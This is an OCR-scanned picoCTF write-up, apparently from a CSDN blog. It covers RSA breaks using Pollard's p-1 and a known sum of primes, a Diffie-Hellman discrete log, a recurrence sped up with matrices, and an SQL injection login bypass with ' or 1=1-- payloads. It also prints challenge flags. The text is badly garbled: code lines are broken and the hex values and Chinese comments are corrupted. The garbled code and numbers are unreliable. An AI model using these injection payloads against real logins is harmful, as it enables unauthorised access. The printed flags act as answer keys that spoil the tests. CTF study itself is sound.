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Crypto

Very Smooth

A

Forget safe primes... Here, we like to live life dangerously... >:)

gen.py

from binascii import hexlify
from gmpy2 import

if sys.version_info < (3, 9):
math.gcd = ged
math.lcm = lcm

DEBUG = False

( ).read().strip()
FLAG = mpz(hexlify(FLAG.encode()), 16)
SEED = mpz(hexlify(os.urandom(32)).decode(), 16)
STATE = random_state(SEED)

def get_prime(state, bits):
return next_prime(mpz_urandomb(state, bits) | (1 (bits - 1)))

def get smooth_prime(state, bits, smoothness=16):
p = mpz(2)
p_factors = [p]
while p.bit_length() < bits - 2 * smoothness:
factor = get_prime(state, smoothness)
p_factors.append(factor)
p “= factor

bitcnt = (bits - p.bit_length()) // 2
while True:

prime1 = get_prime(state, bitcnt)
prime2 = get_prime(state, bitcnt)
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tmpp = p * prime1 * prime2
if tmpp.bit_length() < bits:
bitcnt 1

continue

if tmpp.bit_length() > bits:
bitcnt -= 1

continue

if is_prime(tmpp + 1):
p_factors.append(prime1)
p_factors.append(prime2)
p = tmpp + 1

break

p_factors.sort()

return (p, p_factors)

0x10001

ile True:
p, p_factors = get_smooth_prime(STATE, 1024, 16)
if len(p_factors) (set(p_factors)):

continue

g, q_factors = get_smooth_prime(STATE, 1024, 17)
if len(q_factors) (set(qg_factors)):
continue
factors = p_factors + q_factors
if € not in factors:
break

if DEBUG:
import sys
sys.stderr.write( {p.digits(16)}
sys.stderr.write( )
for factor in p_factors:
sys.stderr.write(f'  {factor.digits(16)}
sys.stderr.write( )

sys.stderr.write( {q.digits(16)}
sys.stderr.write( )
for factor in q_factors:

sys.stderr.write(f'  {factor.digits(16)}
sys.stderr.write( )

m = math.lcm(p -1, q - 1)
d (e, -1, m)

(FLAG, e, n)

{n.digits(16)}")
{c.digits(16)}")

output.txt




e77c4035292375af4c45536b3b35¢201daa5db099f90af0e87fedc4804508737 15cffd53fc8fe5db9ac9960867bd9881e2f0931ffeOcead 399b
26107cc6d8d36ab1564c8b95775487100310f11c13c85234709644a1d8616768abe46a8909c932bc548e23¢70ffc0091e2ed9a120fe549583b7
4d7263d94629346051154dad56f2693ad6e101be0e9644a84467121dab1b204dbf21fa39c9bd8583af4e5b7ebd9e02c862c43a426e0750242¢
30547be70115337ce86990f891f2ad3228feea9e3dcd1266950fa8861411981ce2eebb2901e428cfe81e87e415758bf245f66002c61060b2e186
0382b2e6b5d7af0b4a350f0920e6d514eb9eac7f24a933c64a89

c = 671028df2e2d255962dd8685d711e815cbea334115¢30ea2005cf193a1b972e275¢163de8cfb3d0145a453fec0b837802244ccde0faf832dc
3422f56d6a384fbch3bfd969188d6cd4e 1ca5b8bc48becad66f309f52ff3fc3153cccaec90d8477fd24dfedc3d4ae492769ab6afefbbf501085941189
63ab06ba82e955cafc54a978dd08971c6bf735b347ac92e50fe8e209c65f946f96bd0f0c909f34e90d67a4d12ebe6b1743b438ccdbcefdf3a566071
ead95daf77e7650f73a7f4509b64b9af2dd8a9e33b6bd863b889a69f903ffef425ea52ba1a293645cbac48875c42220ec0b37051ecc91daafd92a
beOaaaf561ffb0c2b093dcdabd7863b1929f0411891f5
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mport gmpy2
from Crypto.Util.number import

def Pollards_p_1(N):
a=2
n=2
while True:
a (a, n, N)
res = gmpy2.gcd(a-1, N)
ifres!=1andres!=N:
print ,n
print , res
return res
1

0x10001

Pollards_p_1(n)

d = gmpy2.invert(e, (p-1)*(g-1))
m (c, d, n)
print long_to_bytes(m)

Sequences

Description

I wrote this linear recurrence function, can you figure out how to make it run fast enough and get the flag?Note that even an efficient
solution might take several seconds to run. If your solution is taking several minutes, then you may need to reconsider your
approach.



rom tqdm import tqdm
import functools

ITERS = int(2e7)
VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c"
ENCRYPTED_FLAG = bytes.fromhex("42cbbce1487b443de1acf4834baed794f4bbd0dfb5df5e6f2ad8a2¢c32b")

# This will overflow the stack, it will need to be significantly optimized in order to get the answer :)
@functools.cache
def m_func(i):

if i == 0: return 1

if i ==1: return 2

if i == 2: return 3

if i == 3: return 4

return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1)

# Decrypt the flag
def decrypt_flag(sol):
sol = sol % (10**10000)
sol = str(sol)
sol_md5 = hashlib.md5(sol.encode()).hexdigest()

if sol_md5 != VERIF_KEY:
print("Incorrect solution")
sys.exit(1)

key = hashlib.sha256(sol.encode()).digest()
flag = bytearray([char * key][i] for i, char in enumerate(ENCRYPTED_FLAG)]).decode()

print(flag)

if _name__ ==" main__ "
sol = m_func(ITERS)
decrypt_flag(sol)

S di tm_funcer BE R IR & SRR tH o 8 FAERE PRI R 5%
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matrix = [[21,301,-9549,55692],
[1,0,0, 0]
[0,1,0,0]
[0,0,1,0T7]]

def m_func(i):
s = quickMatrix(matrixi - 3)
return 4*s[0][0] + 3*s[0][1] + 2*s[0][2] + 1*s[0][3]

def mulMatrix(x,y):  #H1[EAR
ans = [[0 for i in range(4)]for j in range(4)]
foriin range(4):
for jin range(4):
for k in range(4):
ans[il[j] += xillk] * y[K]I[] % (10**10000)
return ans

def quickMatrix(m,n):
E = [[O for i in range(4)]for j in range(4)] #H.7HiFEE
for iin range(4):
E[i][i] = 1
while(n):
print(n)
ifn%2!=0:
E = mulMatrix(E,m)
m = mulMatrix(m,m)
n>>=1

return E

picoCTF{b1g_numb3rs_a1c77d6c}
Sum-0O-Primes
Description

We have so much faith in RSA we give you not just the product of the primes, but their sum as well!



rom binascii import hexlify
rom gmpy2 import mpz_urandomb, next_prime, random_state

if sys.version_info < (3, 9):
import gmpy2
math.gcd = gmpy2.gcd
math.lcm = gmpy2.lcm

( ).read().strip()
(hexlify(FLAG.encode()), 16)
(hexlify(os.urandom(32)).decode(), 16)

random_state(SEED)

def get prime(bits):
return next_prime(mpz_urandomb(STATE, bits) | (1 (bits - 1)))

get_prime(1024)
get_prime(1024)

65537

math.lem(p - 1, q- 1)
(e, -1, m)

(FLAG, €, n)

X = 1b1fb4b96231fe1b723d008d0e7776169ee5d4a8e3573c12¢c37721cee5de1d882f040d1e3f543d36a574984ad95¢c1e79e02de14fa136b4be
7f4468cbd62773f6a4fd06effc2b845ca07424100466bdfeee652d78b25a4273ba4e950e1a8ebfe256a2f8541fe2207c41f39¢c2363e23064bc56b
ed5cf563b8dba873da3c1320256e

n = b6b2353316¢c7b0abcO0ecae3bd7d2191eee519551f4ed86054e6380663668e595f6f43f867caa8feda217905643d73453f3797f6096c989fd0
99852239e5d73¢753f909d8efd172d211a4ed4a966dbcbf56b9cbadd416de0a3472a25357 1b4e4f1bab847a407a27eb37449488f63aedb9f5ec
72d9e331ab6154fe45c8chb4e2005d124d1ac8ecd588cd2280e215b078d8ea9da438bbchb1b155a339b91f39e3d17bab112436cdbb6d104fdeb0
dce1ac41a1fe8fda0490ef3124794e0383565c299df24ad8a915669469c0b0dc604ed359afb3636d5f633362d8efIfce7a42f64d5f1f4e50911a15
459f97c1b11ee44af4e8bb636895¢cf75da105a8d1564160ba091

c = 49e426aba3431d9bb73bfc5dd18115dceal3c78a9915e9ci65e060560015¢951327f20fe5dd74bfecd9a00659d4f740e42f707e47d8f6b331d
8ad1021de41e15f133cbe7c782f22168149df57a6¢37095ba6877765a67d8478434a7a5eabb26097404ad464fa0388cacb97a26aaf3b83b6eb0
a73e16bc1de49b33ee64920118f8483feff3634541df97dadad88302392095059chbe56e7148453f16464da8be2b6cadabfc0052210f697975fd3
c4f3f94bfa3bb2422124a6f0e9685f0440ed020294b6788d7ea3c002d86d86faced8e37b36673ea2b5c72726c66d1834d2dcafdf40220c4 1dfb3d
1f07c5c0d236¢ce7af86b937476c5aabe33cae8d535713627de
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phi=n-x+1
d = gmpy2.invert(e, phi)

m = pow(c, d, n)

lag = long_to_bytes(m).decode()
print(flag)

picoCTF{126a94ab}
NSA Backdoor
Description

I heard someone has been sneakily installing backdoors in open-source implementations of Diffie-Hellman... | wonder who it could
be... [J

from binascii import hexlify
from gmpy2 import

if sys.version_info < (3, 9):
math.gcd = gcd
math.lcm = lcm

DEBUG = False

FLAG ( ).read().strip(
FLAG = mpz(hexlify(FLAG.encode(

)
)
SEED = mpz(hexlify(os.urandom(32)).decode(), 16)
STATE = random_state(SEED)

). 16)

def get_prime(state, bits):
return next_prime(mpz_urandomb(state, bits) | (1

def get_smooth_prime(state, bits, smoothness=16):
p = mpz(2)
p_factors = [p]
while p.bit_length() < bits - 2 * smoothness:
factor = get_prime(state, smoothness)
p_factors.append(factor)
p *= factor

bitcnt = (bits - p.bit_length()) // 2

while True:
prime1 = get_prime(state, bitcnt)
prime2 = get_prime(state, bitcnt)
tmpp = p * prime1 * prime2




bitcnt
continue

if tmpp.bit_length() > bits:
bitcnt -= 1

continue

if is_prime(tmpp + 1):
p_factors.append(prime1)
p_factors.append(prime2)
p = tmpp + 1

break

p_factors.sort()
return (p, p_factors)

while True:
p, p_factors = get_smooth_prime(STATE, 1024, 16)
if len(p_factors) (set(p_factors)):
continue

q, q_factors = get_smooth_prime(STATE, 1024, 17)
if len(q_factors) (set(q_factors)):

factors = p_factors + q_factors

break

if DEBUG:
import sys
sys.stderr.write( {p.digits(16)}
sys.stderr.write( )
for factor in p_factors:
sys.stderr.write(f'  {factor.digits(16)},\n")
sys.stderr.write( )

sys.stderr.write( {q.digits(16)}
sys.stderr.write( )
for factor in q_factors:

sys.stderr.write(f'  {factor.digits(16)},\n")

sys.stderr.write( )

(3, FLAG, n)

{n.digits(16)}")
{c.digits(16)})

0x5bf9961e4bcfc88017e1a9a40958af5eae3b3ee3dcf25bce02e5d04858ba1754e13e86b78a098ea0025222336df6b692e14533dad7f478
005b421d3287676843f9f49ffd7ebec1e8e43b96cde7cd28bd6fdf5747a4a075b5afa7da7a4e9a2cch26342799965f3fb6e65e0bb9557c6f3a675
68ccbfaaa7e3d6¢c5chb79dd2f9928111¢3183bf58bd91412a0742bbfb3c5cebfb0b82825da0875c5ee3df208ce563f896d67287c8b9aad9943dd7
6e5eae 1fc8abd473ec9f9e4f2b49b7897954ca77b8f00ed51949c7e4f1f09bd54b830058bd7f4da04e5228250ba062ec0e1d19fb48a05333aada
60ecdfc8c62c15773ed7e077edba71621f6a6¢c10302cc9ed26ec9
c = 0x2475123653f5a4b842e7ac76829e896450126f7175520929a35b62a4302788ceff1a605ed30f4d01c19226e09fc95d005¢61320d3bbd55c¢f
ebbc775332067ac6056¢1969282091856eaa44ccaf5738ac6409e865bbd1186d69f718abd2b3a1dd3dc933a07ca687f0af9385406fd9eedfasf7
01ad46f0852bf4370264c21f775f1e15283444b3bf45af29b84bb429ed5a17adc9af78aee8c5351434491d5daf9dd3ce3cf0cd44b307eb403f0e9f
482dd001b25ed284c4ebc1ba2864e5a2c4b1afed161426cc67203f30553¢c88d7132aef1337eca00622b47ch7a28195f0e3a2ab934e6163b2941
246314 12e13b1a72fe34e6480fada9af4dae14f2608805d61ee
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rom Crypto.Util.number import *

def Pollards_p_1(N):

a=2

n=2

while True:
a = pow(a, n, N)
res = gmpy2.gcd(a-1, N)
ifres!=1and res !=N:

return res

_1(n)

p=11270207749132662403543744831152824441663303826718443646753995378362302254362930729197520966834893332500607533
9780165463077524233511267597550006727923822554354936896793276829740193900248027487979522143806746878229772394053
610558597354876381637035909859704552979985236170415302488615161107293296362528480525723 q=1030217157587847770655
3839348605374305418219235454842368070351982574979045604755430309203458106598414670623537201496835787039917357610
6002085550048294579946475544854431226807856399757519538822807164181477730623920265727637084436385548675453295077
723702870680050335729771811407346688861515254536686372633918827

1# FisagesK fift:

fldtp ERUEE, discrete_logsy H Ak FEm A%, 1F9E)

SageMath version 9.3, Release Date: 2021-05-09
Using Python 3.7.10. Type "help()" for help.

sage: n = 0x5bf9961elbcfc88017ela9au0958af5eae3b3ee3dcf25bce02e5d0U858bal75Uue13e86b782098ea0025222336df6b692e1U4533dad7fu. ... 78005b42
1d32876768uU3f9fU9ffd7ebecle8eld3b96cde7cd28bd6fdf57U7alad75b5afa7da7ale9a2ccb263U2799965f3fb6e65e0bb9557c6f. . . .: 3a67568ccbfaaaZe3d6c5c
b79dd29928111c3183bf58bd91412a0742bbfb3c5cebfb0b82825da0875c5ee3df208ce563f896d67287c8b9aad. . .. : 99U3dd76e5eaelfc8abdUu73ec9f9eUf2bUOb
789795Uca77b8f00ed51949c7eldf1f09bd5Ub830058bd7fUdadUle5228250bab62ecOeld19fbu8a. . .. 05333aadabbecdfc8c62c15773ed7e077edba71621f6a6c103
02cc9ed26ec9

sage: c = 0x2u475123653f5aUb8U2e7ac76829e896U5012617175520929a35b6au302788ceff1a605ed30fUd01c19226e09fc95d005c61320d3bbd5. ... Scfebbe7
75332067ac6056c1969282091856eaallccaf5738ac6409e865bbd1186d69f718abd2b3aldd3dc933a07ca687f0af9385U06fd%eel. . .. fa5f701adu6f0852bFU370
26Uc21f775f1e15283uUuUUb3bfu5af29b8UbbU29ed5al7adc9af78aee8c535143UU91d5dafodd3ce3cfOcdudb307e. . .. bUO3f0e9fu82dd001b25ed28Ucle6c1ba286
Ude5a2cUblafed161426cc67203130553c88d7132aef1337eca®0622bu7cb7a28195f0e3a2ab93u. ... e6163b2941aU631U412e13bla72fe3Ue6U80Ffadadafidacllf2
608805d61ee

sage: p=11270207749132662403543744831152824U41663303826718U436U4675399537836230225436293072919752096683489333250060753397....: 80165463
07752423351126759755000672792382255435493689679327682974019390024802748797952214380674687822977239405361605. . .. : 5859735U87638163703590
985970U4552979985236170415302488615161107293296362528U480525723

sage: =10302171575878uU777065538393U860537430541821923545484236807035198257497904560U4755430309203U458106598U1467062353720....: 14968357
8703991735761060020855500482945799464755448541431226807856399757519538822807164181U4777306239202657276370844. . ..: 363855U48675U5329507772
3702870680050335729771811407346688861515254536686372633918827

sage: G=GF(p)

sage: g=G(3)

sage: discrete_log(c,g)

38251710328773353864596243890570950490237 G0 @zl il sy

long_to_bytes— T~ picoCTF{cf58a7b8}
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Username:

Password:

gl A

< - O (R A %2 | saturn.picoctf.net:61538/login.php

username: admin
password:
SQL query: SELECT * FROM users WHERE name=" admin’ AND password=""’

Login failed.

CSDN @Parzival _kkm

AW T SQLEMIESR], HITREM 40" or 1=1# 8k

< - O (R A ~Z% | saturn.picoctf.net:61538/login.php

username: = or 1=1#

password:
SQL query: SELECT * FROM users WHERE name="" or 1=1#%#" AND password=""’

CSDN @Parzival_kkm

BRAT, BARRRMG Bz TE R R



O LI K TR or 1=1-

username: = or 1=1--
password:
SQL query: SELECT * FROM users WHERE name="" or 1=1-—" AND password="’

Logged in! But can you see the flag, it is in plainsight.

arziva

<html>
P <head>..</head>
«++¥<body c_t _common="1">
P <pre>..</pre>
<hl>Logged in! But can you see the flag, it is in plainsight.</h1l>
<p hidden>Your flag is: picoCTF{L@@k5_l1k3_y@u_solv3d_it_8dacl7f1l}</p>
</body>
</html>

CSDMN @Pa

picoCTF{LOOK5_I1k3_yOu_solv3d_it_8dac171}
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